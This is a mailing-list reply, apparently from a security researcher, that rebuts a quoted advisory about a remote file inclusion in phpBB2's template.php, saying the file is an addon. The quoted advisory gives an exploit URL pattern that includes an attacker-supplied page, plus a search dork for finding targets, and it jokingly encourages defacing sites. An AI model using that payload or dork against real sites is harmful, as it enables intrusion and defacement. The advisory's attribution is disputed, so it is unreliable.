Re: phpBB2 (template.php) Remote File Inclusion

[ad@heapoverflow.com]

This is a multi-part message in MIME format.
--------------080405010404020405010600
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

template.php is an addon and not part of phpbb2, noobs....


canberx@linuxmail.org wrote:
> ************************************************** ******************
>
> *Title:
>
> *phpBB2 Remote File Include
>
> *
>
> *
>
> *Credit:
>
> *Canberx
>
> *
>
> *
>
> *Thanx:
>
> *Forewer-Partizan
>
> *
>
> *
>
> *Mail:
>
> *canberx@linuxmail.org www.canberx.tk
>
> *
>
> *
>
> *Google Dork:
>
> *Powered by phpBB © 2001, 2002 phpBB Group
>
> *
>
> *
>
> *Exploit:
>
> *www.target.com/[path_to_phpbb]/template.php?page=[attacker]
>
> *
>
> *
>
> ************************************************** *******************
>
>
> Plz Don't Hacked site if it already has been defaced :)
>
>
> ************************************************** *******************
>
>
> __________ NOD32 1.1578 (20060604) Information __________
>
> This message was checked by NOD32 antivirus system.
> http://www.eset.com
>
>
>
>


--------------080405010404020405010600
Content-Type: text/x-vcard; charset=utf-8;
name="ad.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="ad.vcf"

begin:vcard
fn:Arnaud Dovi / Ind. Security Researcher
n:Dovi;Arnaud
email;internet:ad@heapoverflow.com
tel;work:Independent Security Researcher
version:2.1
end:vcard


--------------080405010404020405010600--